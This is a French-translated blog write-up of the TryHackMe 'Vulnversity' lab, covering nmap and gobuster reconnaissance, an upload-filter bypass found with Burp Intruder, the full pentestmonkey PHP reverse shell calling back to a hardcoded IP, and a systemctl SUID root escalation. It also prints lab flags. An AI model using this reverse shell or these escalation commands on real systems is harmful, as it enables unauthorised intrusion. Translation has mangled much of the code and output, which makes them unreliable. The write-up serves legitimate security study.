[Tryhackme] Apprenez tout sur la reconnaissance, les attaques d'applications Web et l'escalade des privilèges! Écriture de vulnversité

[Tryhackme] Apprenez tout sur la reconnaissance, les attaques d'applications Web et l'escalade des privilèges! Écriture de vulnversité

Cette fois, je vais essayer de conquérir la "vulnversité" de la pièce à Tryhackme.
"Tryhackme-Vulnversity: https://tryhackme.com/room/vulnversity "

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
table des matières

Déployer la machine

Tout d'abord, déployez la machine cible.
Sélectionnez "Démarrer la machine"

Si l'IP s'affiche comme indiqué ci-dessous, il n'y a pas de problème.

Répondre

Reconnaissance

Tout d'abord, nous utiliserons un outil de numérisation réseau appelé NMAP pour collecter des informations sur la machine cible.
Pour plus d'informations sur la commande, veuillez vous référer à J'ai essayé d'utiliser NMAP, un puissant outil de numérisation réseau!

┌fique (HackLab㉿HackLab) - [~] └─ $ nmap -sv 10.10.141.243 Démarrage NMAP 7.92 (https://nmap.org) au 2023-04-19 21:13 JST NMAP SCAN RAPPORT pour 10.10.141.243 L'hôte est en hausse (0,24S LATENCYS). Non illustré: 994 Ports TCP fermés (Conn-refusés) Le service d'état du port version 21 / TCP Open FTP VSFTPD 3.0.3 22 / TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocol 2.0) 139 / TCP Open NetBios-SSN Samba SMBD 3.x - 4.x (WorkGroup: WorkGroup) 445 / TCP Open NetBiOS-SSN Samba SMBD 3.x - 4.x (Workgroup: Workgroup) 3128 / TCP Open HTTP-Proxy Squid Http Proxy 3.5.12 3333 / TCP Open Http Apache Httpd 2.4.18 ((UBUNTU)) Informations de service: hôte: hôte: vulnUniversity; OSS: Unix, Linux; CPE: CPE: / O: Linux: Linux_Kernel Service Detection effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/. NMAP fait: 1 adresse IP (1 hôte) scanné en 58,36 secondes

Vous pouvez voir qu'il y a environ six services en cours d'exécution.

Répondre

Il existe de nombreux «CheatSheets» NMAP en ligne que vous pouvez également utiliser.

Scannez la boîte, combien de ports sont ouverts?

Quelle version du Squid Proxy fonctionne sur la machine?

Combien de ports NMAP analysera-t-il si le Flag -P-400 a été utilisé?

┌fique (HackLab㉿hackLab) - [~] └─ $ nmap -sv -p-400 10.10.141.243 Démarrage NMAP 7.92 (https://nmap.org) au 2023-04-19 21:22 JST NMAP SCAN RAPPORT pour 10.10.141.243 L'hôte est en hausse (0.24 LATERCE). Non illustré: 397 ports TCP fermés (Conn-refusés) Le service d'état du port version 21 / TCP Open FTP VSFTPD 3.0.3 22 / TCP Open SSH OpenSSH 7.2P2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocol 2.0) 139 / TCP Open NetBios-SSN Samba SMBD 3.x - 4.x (WorkGroup WorkGroup) Vulnuniversité; OSS: Unix, Linux; CPE: CPE: / O: Linux: Linux_Kernel Service Detection effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/. NMAP fait: 1 adresse IP (1 hôte) scanné en 16,39 secondes

En utilisant le drapeau NMAP -N, que ne résoudra-t-il pas? (Que résout le drapeau NMAP -N?)

Quel est le système d'exploitation le plus probable que cette machine fonctionne?

┌── (hackLab㉿hackLab) - [~] └─ $ sudo nmap -sv -o 10.10.141.243 1 ⨯ Démarrage NMAP 7.92 (https://nmap.org) au 2023-04-19 21:45 JST NMAP Scan Rapport pour 10.10.141.243 hôte est UP (0.24S LATERCK). Non montré: 994 Ports TCP fermés (réinitialisation) Le service d'état du port version 21 / TCP Open FTP VSFTPD 3.0.3 22 / TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocol 2.0) 139 / TCP Open Netbios-SSN Samba SMBD 3.x - 4.x (Workgroup: Workgroup) 445 NetBiOS-SSN Samba Smbd 3.x - 4.x (Workgroup: Workgroup) 3128 / TCP Open Http-Proxy Squid Http Proxy 3.5.12 3333 / TCP Open Http Apache Httpd 2.4.18 (Ubuntu)) https://nmap.org/submit/). TCP / IP Empreinte digitale: OS: scan (V = 7,92% E = 4% D = 4/19% OT = 21% CT = 1% CU = 36437% PV = Y% DS = 2% DC = I% G = Y% TM = 643FE27 OS: 9% p = x86_64-pc-linux-gnu) seq (sp = 100% gcd = 1% ISR = 108% Ti = z% ci = i% ii = i% ts = 8) OPS OS: (O1 = M506st11nw7% O2 = M506st11nw7% O3 = M506NNT11NW7% O4 = M506ST11NW7% O5 = M506ST1 OS: 1NW7% O6 = M506st11) Win (W1 = 68DF% W2 = 68DF% W3 = 68DF% W4 = 68DF% W5 = 68DF% W6 = 68DF) ECN OS: (r = y% df = y% t = 40% w = 6903% o = m506nnsnw7% cc = y% q =) t1 (r = y% df = y% t = 40% s = o% a = s +% f = a OS: S% rd = 0% q =) t2 (r = n) t3 (r = n) t4 (r = y% df = y% t = 40% w = 0% s = a% a = z% f = r% o =% rd = 0% q =) t5 (r OS: = y% df = y% t = 40% w = 0% s = z% a = s +% f = ar% o =% rd = 0% q =) t6 (r = y% df = y% t = 40% w = 0% s = a% a = z% f OS: = R% O =% RD = 0% Q =) T7 (r = y% df = y% t = 40% w = 0% s = z% a = s +% f = ar% o =% rd = 0% q =) u1 (r = y% df = n% OS: T = 40% IPL = 164% UN = 0% RIPL = G% RID = G% RIPCK = G% RUCK = G% RUD = G) IE (R = Y% DFI = N% T = 40% CD OS: = S) Distance du réseau: 2 HOPS Service Info: HOST: VulnuniSity; OSS: Unix, Linux; CPE: CPE: / O: Linux: Linux_Kernel OS et détection de service effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/. NMAP fait: 1 adresse IP (1 hôte) scanné en 44,07 secondes

Sur quel port le serveur Web fonctionne-t-il?

Il est important de vous assurer que vous faites toujours votre reconnaissance à fond avant de progresser. Connaître tous les services ouverts (qui peuvent tous être des points d'
exploitation) est très important, n'oubliez pas que les ports sur une plage plus élevée peuvent être ouverts, alors scannez toujours les ports après 1000 (même si vous quittez la numérisation en arrière-plan) (même si le scan a été effectué en arrière-plan).

Localisation des répertoires à l'aide de Gobuster

Scannez le site Web pour trouver des répertoires cachés.

┌── (HackLab㉿hackLab) - [~] └fique (@firefart) ===== [+] URL: http://10.10.141.243:3333 [+] Méthode: get [+] threads: 10 [+] wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] statut négatif codes: 404 [+] Agent utilisateur: gabuster / 3. +] Status négatifs: 404 [+] Agent utilisateur: gabuster / 3. +]. Timeout: 10s ==== 2023/04/19 22:13:23 Démarrer Gobuster en mode d'énumération du répertoire ==== / Images (Status: 301) [Taille: 322] [-> http://10.10.141.243:333/images/] / css (status: 301) [TIME: 319] [-> http://10.10.141.243:3333/css/] / js (statut: 301) [Taille: 318] [-> http://10.10.141.243:3333/js/] / Fonts (statut: 301) [Taille: 321] [-> http://10.10.141.243:333/fonts/] / interne (statut: 301) [taille: 324] [-> http://10.10.141.243:333/internal/]

Il existe divers répertoires, mais "/ interne /" semble suspect.

Le répertoire avec la page de téléchargement a été trouvé.

Répondre

Quel est le répertoire qui a une page de formulaire de téléchargement?

Compromettre le serveur Web

J'ai trouvé une page pour télécharger le fichier, donc je vais essayer de l'utiliser.

Répondre

Quel type de fichier commun, que vous souhaitez télécharger pour exploiter le serveur, est bloqué? Essayez un couple pour le découvrir.

Je n'étais pas vraiment sûr de ça. . . Après avoir beaucoup cherché, il semble que .php est la réponse.

Je vais essayer d'utiliser l'intrus de Burp Suite pour trouver une extension qui peut exécuter PHP.
L'interception est allumée et télécharge.

Maintenant, sélectionnez Action> Envoyer à Intruder.

Cette fois, je souhaite modifier l'extension du fichier, donc je recherche le fichier que j'ai téléchargé et joint l'extension dans "§".

Définissez les options de charge utile comme [.php, .php3, .php4, .php5, .phtml].

Si vous faites cela, vous verrez que tout sera retourné à 200, comme illustré ci-dessous.

Ici, la différence de longueur n'est que ".phtml".
Jetons un coup d'œil au contenu un peu.

Seul. PHTML a été renvoyé au succès.
Profitez-en pour exécuter un shell inversé PHP.

-le comme référence pour créer un shell inversé PHP.
N'oubliez pas de changer votre IP.

┌fique <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.18.110.90'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array ("tuyau", "r"), // stdin est un tuyau que l'enfant lira à partir de 1 => array ("tuyau", "w"), // stdout est un tuyau que l'enfant écrira à 2 => array ("tuyau", "w") // stderr est un tuyau sur lequel l'enfant écrira); $ process = proc_open ($ shell, $ descriptorspec, $ tuyaux); if (! is_resource ($ process)) {pritIt ("error: impossible de spawn shell"); sortie (1); } // Définissez tout sur le non-bloquant // Raison: les lectures occlusives se bloqueront, même si Stream_Select nous dit qu'ils ne seront pas stream_set_blocking ($ tuyaux [0], 0); stream_set_blocking ($ tuyaux [1], 0); stream_set_blocking ($ tuyaux [2], 0); stream_set_blocking ($ sock, 0); pritIt ("Shell inversé ouvert avec succès à $ ip: $ port"); while (1) {// Vérifiez la fin de la connexion TCP if (feof ($ sock)) {pritIt ("Erreur: connexion shell terminée"); casser; } // Vérifiez la fin de Stdout if (feof ($ tuyaux [1])) {pritIt ("Error: Shell Process terminée"); casser; } // attendez qu'une commande soit terminée $ sock, ou une sortie de commande // est disponible sur stdout ou stderr $ read_a = array ($ sock, $ tuyaux [1], $ tuyaux [2]); $ num_changed_sockets = stream_select ($ read_a, $ write_a, $ error_a, null); // Si nous pouvons lire à partir de la prise TCP, envoyez // des données pour procéder stdin if (in_array ($ sock, $ read_a)) {if ($ debug) pritIt ("sock read"); $ input = Fread ($ sock, $ chunk_size); if ($ debug) pritIt ("sock: $ entrée"); FWrite ($ Pipes [0], $ entrée); } // Si nous pouvons lire à partir de la connexion TCP STDOUT // du processus If (in_Array ($ Pipes [1], $ read_a)) {if ($ debug) pritIt ("stdout read"); $ input = Fread ($ Pipes [1], $ chunk_size); if ($ debug) pritIt ("stdout: $ entrée"); FWrite ($ sock, $ entrée); } // Si nous pouvons lire à partir de la connexion TCP STDERR // du processus en baisse les données if (in_array ($ tuyaux [2], $ read_a)) {if ($ debug) pritIt ("stderr read"); $ input = Fread ($ Pipes [2], $ chunk_size); if ($ debug) pritIt ("stderr: $ entrée"); FWrite ($ sock, $ entrée); }} fclose ($ sock); fclose ($ tuyaux [0]); fclose ($ tuyaux [1]); fclose ($ tuyaux [2]); proc_close ($ process); // comme imprimer, mais ne fait rien si nous nous sommes débrouillés // (je ne peux pas comprendre comment rediriger stdout comme un démon approprié) pritIt ($ string) {if (! $ Daemon) {print "$ string \ n"; }}?> 

Écoutez sur 1234 avant de télécharger le fichier.

┌fiques (hackLab㉿hackLab) - [~ / Tryhackme / Vulnversity] └fique

Si possible, téléchargez le shell inversé PHP de plus tôt.

Ce fut un succès.

PHP en visitant http://10.10.141.243:3333/internal/uploads/php-reverse-shell.phtml

Jetons un coup d'œil à l'écouter dans cet état.

┌fiques (HackLab㉿HackLab) - [~ / Tryhackme / Vulnversity] └fique 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU / Linux 10:05:06 Up 1:57, 0 utilisateurs, charge de chargement: 0,03, 0,01, 0,00 utilisateur tty de Login @ inlavie jcpu pcpu what uid = 33 (www-data) gid = 33 (www-data) grew / bin / sh: 0: Impossible d'accéder à Tty; TRAPORD CONTRÔLE

Vous pouvez exécuter correctement un shell inversé.
Voyons quel type d'utilisateurs il y a.

$ cd home $ ls bill

L'utilisateur de cet utilisateur.txt semble avoir un drapeau, alors assurez-vous de le vérifier.

$ cd bill $ ls user.txt $ cat user.txt 8bd7992fbe8a6ad22a63361004cfcedb

Escalade des privilèges

Ensuite, nous chercherons un moyen d'escalader les privilèges pour gagner des privilèges racine.

Cette fois, nous allons intensifier les privilèges en utilisant SUID.
Si vous n'êtes pas sûr de votre SUID, veuillez vous référer à Electronisation à l'aide de l'exécutable SUID / SGID

Tout d'abord, voyons une liste des exécutables SUID.

$ find / -Type f -a \ (-perm -u + s -o -perm -g + s \) -exec ls -l {} \; 2> / dev / null -rwxr-sr-x 1 root tty 27368 16 mai 2018 / usr / bin / wall -rwxr-sr-x 1 root tty 14752 mars 2016 / usr / bin / bsd-write -rwsr-xr-x 1 racine root 32944 mai 16 2017 / usr / bin / bin / newuidmap -rwxr-x 1 root mlllocy / bin / bin / newuidmap -rwxr-x1 39520 18 novembre 2014 / usr / bin / mLocate -rwxr-sr-x 1 root shadow 62336 16 mai 2017 / usr / bin / chage -rwsr-xr-x 1 racine root 49584 16 mai 2017 / usr / bin / chfn -rwxr-sr-x 1 root utmp 434216 feb 7 2016 / usr / bin / bin / root utmp 434216 feb 7 2016 / USR / bin / bin / root utMp 434216 Feb 7 2016 / USR / Bin / Bin / Screen UtMP 434216 Feb 7 2016 / USR / BIN / BIN / SIGNE -rwxr-sr-x 1 racine ssh 358624 31 janvier 2019 / usr / bin / ssh-agent -rwsr-xr-x 1 racine racine 32944 16 mai 2017 / usr / bin / newgidmap -rwxr-sr-x 1 racine crontab 36080 ROOR 4 juil 2017 / usr / bin / sudo -rwsr-xr-x 1 racine racine 40432 16 mai 2017 / usr / bin / shsh -rwxr-sr-x 1 root shadow 22768 16 mai 2017 / usr / bin / expiry -rwsr-xr-x 1 racine root 54256 mai 2017 / usr / bin / passwd -rwsr-xr -x 1 2017 / usr / bin / passwd -rwsr-xr -x 1 2017 / usr / bin / passwd -rwsr -x -x 1 Root Root 23376 15 janv -rwsr-sr-x 1 racine racine 98440 29 janvier 2019 / usr / lib / snapd / snap-confine -rwsr-xr-x 1 racine root 14864 15 janvier 2019 / usr / lib / politiquekit-1 / polkit-agent-helper-1 -rwsr-xr-x 1 racine racine 428240 janvier 31 2019 / usr / lib / openssh / ssh-keysign -rwsr-xr-x 1 racine root 10232 27 mars 2017 / usr / lib / eject / dmcrypt-get-device -rwsr-xr-x 1 racine root 76408 juil 17 2019 / usr / lib / squid-pinger -rwsr-xr-- 1 root messages root 4292 janvier 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwxr-sr-x 1 root utmp 10232 mars 11 2016 / usr / lib / x86_64-linux-gnsU / uempter / uempter -rwsr-xr-x 1 racine racine 38984 juin 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount -rwsr-xr-x 1 racine racine 44680 7 mai 2014 / bin / ping6 -rwsr-xr-x 1 racine racine 27608 16 mai 2018 / bin / umount -rwsr-xr-x 1 racine racine 659856 Feb 13 février 2019 / bin / systemctl -rwsr-xr-x 1 racine root root 44168 peut 7 / bin / ping. -rwsr-xr-x 1 racine racine 30800 12 juil 2016 / bin / fusermount -rwxr-sr-x 1 root shadow 35600 avril 9 2018 / sbin / unix_chkpwd -rwxr-sr-x 1 root shadow 35632 avr 9 2018 / sbin / pam_extausers_chkpwd -rwsr-xr-x 1 root 35600 6 mars 2017 /sbin/mount.cifs

les gtfobins , il semble que l'escalade des privilèges puisse être effectuée en utilisant "/ bin / systemctl".

Je vais modifier un peu le contenu des gtfobins et l'exécuter.

$ Tf = $ (mktemp) .service $ echo '[service] execstart = / bin / sh -c "cat /root/root.txt> / tmp / output" [install] wantedby = multi-user.target'> $ tf $ / bin / systemctl link $ tf $ / bin / systemctl activy --now $ tf a créé sylink de Symlink from uset de Symlink from fro from fru /etc/systemd/system/multi-user.target.wants/tmp.etlafk2gsg.service à /tmp/tmp.etlafk2gsg.service. $ CD / TMP $ Cat Output A58FF8579F0A9270368D33A9966C7FD5

Si cela est fait correctement, il devrait y avoir un drapeau dans la sortie.

résumé

Cette fois, j'ai essayé de conquérir la pièce appelée «vulnversité».
Je pense que le contenu est simple, mais il y a encore beaucoup de choses que je ne comprends pas, et il y a quelques choses que je ne peux pas comprendre quand je regarde l'écriture.
De plus, il semble que vous n'ayez pas encore été en mesure de savoir quelle vulnérabilité à attaquer.

Je continuerai à étudier. . .

Références et sites

Medium (Utkarsh Rai): https://infosecwriteups.com/tryhackme-vulnversity-70ceeb601757

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières